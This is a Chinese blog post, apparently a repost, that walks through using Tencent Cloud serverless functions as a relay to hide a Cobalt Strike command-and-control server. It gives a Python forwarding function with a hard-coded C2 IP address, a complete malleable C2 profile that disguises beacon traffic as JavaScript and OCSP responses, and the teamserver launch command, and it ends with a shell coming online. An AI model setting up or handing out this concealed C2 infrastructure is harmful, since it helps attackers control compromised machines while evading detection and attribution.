利用腾讯云函数上线CS

╰半橙微兮° 2024-03-27 11:52 88阅读 0赞

首先，我们需要登录腾讯云，开启云函数。  
登录腾讯云后，搜索云函数。开通即可。

[![9dea42c98065d7786f8414fdd091a41d.png][]][9dea42c98065d7786f8414fdd091a41d.png 1]

初次登录，需要授权。  
登录控制台后，点击新建。 [![69c1410fe2e00702a209566434728918.png][]][69c1410fe2e00702a209566434728918.png 1]  
函数名称随意，选择从头开始，环境填 `Python3.6` ，选完后下拉，把代码搞里头。 [![2aa0b179d1a7a5f3a2234582d5cfff6b.png][]][2aa0b179d1a7a5f3a2234582d5cfff6b.png 1]  
复制下面代码，并修改服务器地址。

# coding: utf8
    import json,requests,base64
    def main_handler(event, context):
        response = {}
        path = None
        headers = None
        try:
            C2='http://43.134.164.72:80'
            if 'path' in event.keys():
                path=event['path']
            if 'headers' in event.keys():    
                headers=event['headers']
            if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
                resp=requests.get(C2+path,headers=headers,verify=False) 
            else:
                resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
                print(resp.headers)
                print(resp.content)
            response={
                "isBase64Encoded": True,
                "statusCode": resp.status_code,
                "headers": dict(resp.headers),
                "body": str(base64.b64encode(resp.content))[2:-1]
            }
        except Exception as e:
            print('error')
            print(e)
        finally:
            return response

[![83207686ed707a4b83d7eaca1fde4c70.png][]][83207686ed707a4b83d7eaca1fde4c70.png 1]

完成后，点击保存！  
接着点击触发管理，创建触发器  
格式如下 [![917267406230e6448c815e3c66f5889e.png][]][917267406230e6448c815e3c66f5889e.png 1]  
点击api名称编辑后到达此页面，路径修改为 `/` [![860f0596d3a748be393cb728a7aae195.png][]][860f0596d3a748be393cb728a7aae195.png 1]  
完成 后点击 发布服务  
新增C2的profile文件，命名为win\_tecent\_cloud\_func.profile

set sample_name "t";
    set sleeptime "3000";
    set jitter    "0";
    set maxdns    "255";
    set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
    
    http-get {
    
        set uri "/api/x";
    
        client {
            header "Accept" "*/*";
            metadata {
                base64;
                prepend "SESSIONID=";
                header "Cookie";
            }
        }
    
        server {
            header "Content-Type" "application/ocsp-response";
            header "content-transfer-encoding" "binary";
            header "Server" "Nodejs";
            output {
                base64;
                print;
            }
        }
    }
    http-stager {  
        set uri_x86 "/vue.min.js";
        set uri_x64 "/bootstrap-2.min.js";
    }
    http-post {
        set uri "/api/y";
        client {
            header "Accept" "*/*";
            id {
                base64;
                prepend "JSESSION=";
                header "Cookie";
            }
            output {
                base64;
                print;
            }
        }
    
        server {
            header "Content-Type" "application/ocsp-response";
            header "content-transfer-encoding" "binary";
            header "Connection" "keep-alive";
            output {
                base64;
                print;
            }
        }
    }

保存完成后，存放在cs目录下。  
启动cs服务端

./teamserver vpsip admin12345 win_tecent_cloud_func.profile

[![db70ee89f5a2131c620d9b332f841b16.png][]][db70ee89f5a2131c620d9b332f841b16.png 1]

将云函数的公网接口地址域名填入listener的http hosts和stager的hosts  
注意不要http 和80 [![f8839f95bbc46029a940ce7c93862084.png][]][f8839f95bbc46029a940ce7c93862084.png 1]  
添加监听 [![fe545555011c96234a177e173d678878.png][]][fe545555011c96234a177e173d678878.png 1]  
生成shell后成功上线。 [![78.png][]][78.png 1]

原文连接： https://blog.bbskali.cn/3771.html

[9dea42c98065d7786f8414fdd091a41d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/7422f97bd5c64007b42542eed02d05c6.png
[9dea42c98065d7786f8414fdd091a41d.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/2368181416.png
[69c1410fe2e00702a209566434728918.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/914c2977a93a49ca955ddd45fdfe75e4.png
[69c1410fe2e00702a209566434728918.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/1630847590.png
[2aa0b179d1a7a5f3a2234582d5cfff6b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/22627646cc1c4ac4b19eafc5b9bf05b7.png
[2aa0b179d1a7a5f3a2234582d5cfff6b.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/114887848.png
[83207686ed707a4b83d7eaca1fde4c70.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/6350d8a57e334b47b821ebffdcb6bade.png
[83207686ed707a4b83d7eaca1fde4c70.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/3277247798.png
[917267406230e6448c815e3c66f5889e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/06a4d2b78702407d807bd9334bd3fa99.png
[917267406230e6448c815e3c66f5889e.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/673256661.png
[860f0596d3a748be393cb728a7aae195.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/ec4f614507dd4c0a94577f1bfe05aec8.png
[860f0596d3a748be393cb728a7aae195.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/501732989.png
[db70ee89f5a2131c620d9b332f841b16.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/9d640c2cca9a4aefb9323ecedc6ba989.png
[db70ee89f5a2131c620d9b332f841b16.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/1833944843.png
[f8839f95bbc46029a940ce7c93862084.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/ca1f55bd5e9045e390978139e7306c70.png
[f8839f95bbc46029a940ce7c93862084.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/2661556786.png
[fe545555011c96234a177e173d678878.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/c8c204ca17844422a84776bbf7102502.png
[fe545555011c96234a177e173d678878.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/3775039347.png
[78.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/6a6f67020dea4b888d4e1939186c07f2.png
[78.png 1]: https://blog.bbskali.cn/usr/uploads/2023/01/3188910683.png